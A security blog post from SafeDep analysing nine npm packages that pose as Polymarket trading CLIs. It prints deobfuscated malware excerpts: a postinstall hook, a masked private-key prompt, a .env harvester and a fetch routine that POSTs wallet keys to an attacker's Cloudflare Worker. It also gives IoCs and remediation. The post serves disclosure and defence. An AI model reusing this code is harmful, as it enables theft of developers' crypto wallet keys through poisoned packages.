Polymarket npm Packages Steal Crypto Wallet Keys

SafeDep Team
7 min read

Table of Contents

TL;DR

Nine npm packages published within a 30 second window by the same throwaway account (polymarketdev) impersonate Polymarket trading CLI tools. On install, a postinstall script displays a fake wallet onboarding prompt that asks the user to paste their private key, claiming “it stays encrypted.” The script POSTs the raw key in plaintext to a Cloudflare Worker at hxxps://polymarketbot[.]polymarketdev[.]workers[.]dev/v1/wallets/keys. No encryption happens at any point. One package, polymarket-claude-code, targets developers using AI coding assistants for trading workflows.

Impact:

  • Exfiltrates raw Ethereum/Polygon private keys to attacker-controlled infrastructure
  • Social engineers victims into pasting private keys with a false “stays encrypted” claim
  • Creates a persistent ~/.polybot/ directory with a device fingerprint, enabling victim tracking across sessions
  • Reads .env files from the current working directory, harvests any PRIVATE_KEY environment variable without user interaction
  • Evades detection in CI/CD: the prompt only triggers in interactive TTY sessions

Indicators of Compromise (IoC):

TypeValue
npm packagespolymarket-trading-cli, polymarket-terminal, polymarket-trade, polymarket-auto-trade, polymarket-copy-trading, polymarket-bot, polymarket-claude-code, polymarket-ai-agent, polymarket-trader (all versions)
npm publisherpolymarketdev ([email protected])
C2 endpointhxxps://polymarketbot[.]polymarketdev[.]workers[.]dev
Exfiltration path/v1/wallets/keys (POST)
GitHub actortexsellix (github[.]com/texsellix)
GitHub repotexsellix/polymarket-trading-bot
Payload SHA-256 (dist/index.js)e01b85c1437085a519217338fe4ee5ed7858c28a10f8c1477b2f1857c3386edb
Local artifact~/.polybot/device.json, ~/.polybot/wallets.json

Analysis

Package Overview

All nine packages were published on May 20, 2026, between 23:30 and 23:32 UTC by the npm account polymarketdev, registered to [email protected] (a Proton Mail address). Each package had two versions (0.1.0 and 0.1.1) published within two minutes. The only difference between packages is the name field in package.json. All nine ship the same dist/index.js payload (SHA-256: e01b85c1437085a519217338fe4ee5ed7858c28a10f8c1477b2f1857c3386edb).

The package.json metadata across all nine packages points to a single GitHub repository, texsellix/polymarket-trading-bot, which has 69 stars and 22 forks. The repository README describes an elaborate monorepo architecture (“four packages: CLI, SDK, Core, Engine”) and makes explicit security claims: “Wallet keys are encrypted before they leave your machine” and “Plaintext keys live in memory only at sign time.” Both claims are false, as the source code confirms below.

The package names cover multiple search vectors a Polymarket trader might try: generic (polymarket-trade, polymarket-bot), workflow-specific (polymarket-copy-trading, polymarket-auto-trade), and AI-tooling-specific (polymarket-claude-code, polymarket-ai-agent). polymarket-claude-code targets developers using AI coding assistants for trading, a growing pattern in crypto circles.

Execution Trigger

The attack chain starts with a postinstall hook in package.json:

package.json
{
"scripts": {
"postinstall": "node scripts/postinstall.mjs"
}
}

The postinstall.mjs script checks for an interactive TTY before displaying any output. In CI/CD pipelines or non-interactive shells, it prints a one-liner (“polybot installed”) and exits, avoiding detection by automated security tooling:

scripts/postinstall.mjs
function isInteractive() {
return Boolean(process.stdout.isTTY && process.stdin.isTTY);
}
async function run() {
if (process.env.POLYBOT_SKIP_ONBOARD === '1') return;
if (!isInteractive()) {
hint(); // prints "polybot installed. Run `polybot login` when you're ready."
return;
}
// ... displays banner and spawns dist/index.js login
}

When a TTY is present, the script renders a colorful banner with ANSI escape codes and a direct call to action:

scripts/postinstall.mjs
" " + paint(ANSI.yellow, "→") + " " + paint(ANSI.bold,
"Paste your wallet key below — it stays encrypted."),

“it stays encrypted” is false. The script spawns the bundled dist/index.js with the login subcommand, which handles key collection and exfiltration.

Private Key Collection

The login command (e2() in the bundled code) collects the private key through one of two paths:

Path 1: Interactive prompt. A masked readline prompt displays asterisks as the user types, mimicking a password field. The raw key is retained in memory:

// dist/index.js (deobfuscated names)
function maskedPrompt(promptText) {
return new Promise((resolve) => {
let rl = createInterface({ input: process.stdin, output: process.stdout, terminal: true });
let stdout = process.stdout;
stdout.write(promptText);
let stdin = process.stdin;
let onData = (chunk) => {
let str = chunk.toString('utf8');
stdout.write('\x1B[K'); // clear line — hides actual input
if (str !== '\r' && str !== '\n' && str !== '') stdout.write('*'.repeat(str.length));
};
stdin.on('data', onData);
rl.question('', (answer) => {
stdin.removeListener('data', onData);
stdout.write('\n');
rl.close();
resolve(answer.trim());
});
});
}

Path 2: Environment variable. The code also reads PRIVATE_KEY from the environment or from a .env file in the current directory:

// dist/index.js (deobfuscated)
let key = args['private-key'] || process.env.PRIVATE_KEY;
if (!key) {
key = await maskedPrompt(bold(' wallet key ') + gray('(hidden) ') + '› ');
}

The .env loader runs before any prompt:

// dist/index.js (deobfuscated)
function loadEnv(filename = '.env') {
let filepath = resolve(process.cwd(), filename);
if (existsSync(filepath))
for (let line of readFileSync(filepath, 'utf8').split('\n')) {
let match = line.match(/^\s*([A-Z0-9_]+)\s*=\s*"?([^"\n]*)"?\s*$/);
if (match && !process.env[match[1]]) process.env[match[1]] = match[2];
}
}

Any project with a .env file containing PRIVATE_KEY=0x... (common in Polymarket bot development) loses that key without the user seeing any prompt.

Data Exfiltration

The code sends the collected key to the attacker’s Cloudflare Worker in plaintext JSON:

// dist/index.js (deobfuscated)
var C2_BASE = 'https://polymarketbot.polymarketdev.workers.dev';
function apiHeaders(deviceId) {
return {
'content-type': 'application/json',
'x-polybot-device': deviceId,
'user-agent': `polybot-cli/${process.env.npm_package_version ?? '0.1.0'}`,
};
}
async function apiCall(method, path, deviceId, body) {
let response = await fetch(`${C2_BASE}${path}`, {
method: method,
headers: apiHeaders(deviceId),
body: body ? JSON.stringify(body) : undefined,
});
if (!response.ok) {
let text = await response.text().catch(() => '');
throw new Error(`[remote-vault] ${method} ${path} → ${response.status}: ${text}`);
}
return await response.json();
}
var RemoteVault = {
async push(deviceId, privateKey, label) {
return apiCall('POST', '/v1/wallets/keys', deviceId, { privateKey, label });
},
async list(deviceId) {
return apiCall('GET', '/v1/wallets/keys', deviceId);
},
async forget(deviceId, address) {
return apiCall('DELETE', `/v1/wallets/keys/${address}`, deviceId);
},
};

push sends { privateKey: "0x...", label: "..." } as a plain JSON body. The raw hex private key travels over HTTPS to the Worker, but no client-side encryption happens. The “encrypted in transit” claim from the README refers to TLS alone, which protects the key from network observers but not from the Worker operator (the attacker).

The x-polybot-device header contains a UUID generated on first run and persisted to ~/.polybot/device.json, letting the attacker correlate multiple keys from the same victim.

Local Persistence

The package creates a ~/.polybot/ directory with two files:

  • device.json: contains a deviceId (UUID) and createdAt timestamp, written with mode 0600
  • wallets.json: stores the Ethereum address, a keccak256 fingerprint of the key, an optional label, and a pushedAt timestamp
// dist/index.js (deobfuscated)
function getPolybotHome() {
let dir = process.env.POLYBOT_HOME ?? join(homedir(), '.polybot');
if (!existsSync(dir)) mkdirSync(dir, { recursive: true, mode: 0o700 });
return dir;
}

The fingerprint function uses keccak256 truncated to 8 bytes (not reversible to the key), but the raw key has already left the machine at this point. The local files serve as tracking artifacts.

The Credibility Apparatus

The attacker built a credibility layer around the theft:

  • GitHub repository (texsellix/polymarket-trading-bot) with 69 stars and 22 forks (likely purchased or botted)
  • Detailed README describing a monorepo with four packages, proxy wallet support, and multiple trading strategies
  • SECURITY.md and CONTRIBUTING.md files in the repo, mimicking mature open source projects
  • Paper trading default (“Every trading command runs in paper mode by default. Add --live to commit real USDC.”) that suggests careful, user-friendly design
  • Masking input as asterisks during the prompt, mimicking legitimate password entry patterns
  • Professional error messages (“couldn’t reach polybot. check your connection and try again.”) that disguise exfiltration failures as network errors

The bundled dist/index.js (711 KB) includes legitimate dependencies: the full Polymarket CLOB client SDK, ethers.js, Zod validation, pino logger, and WebSocket handling. The attacker wrapped real trading functionality around the theft. Commands like scan, quote, trade, and copy make real Polymarket API calls. Someone who installs the package and uses it for trading may never suspect the “login” step was the entire attack.

Conclusion

The attacker built a functional trading CLI around a credential theft operation. Social engineering carries the attack: the postinstall prompt looks like standard wallet onboarding, the masking mimics secure input, and the GitHub repo provides false credibility. The .env harvesting path is the more dangerous vector. Developers who store PRIVATE_KEY in their environment (standard practice for Polymarket bot development) lose their keys without seeing any prompt.

Two of the package names (polymarket-claude-code, polymarket-ai-agent) target developers who install packages suggested by LLM-based tools, which may not evaluate package provenance.

If you installed any of these packages, rotate any wallet keys that were entered or present in your environment. Check for ~/.polybot/ and remove it. Scan your project dependencies with vet to catch packages from single-version, single-maintainer accounts with no prior publish history. For runtime protection against malicious postinstall scripts, pmg can intercept and block unauthorized network calls and filesystem access during package installation.

References

  • vet
  • malware
  • npm
  • supply-chain
  • crypto
  • wallet-drainer

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.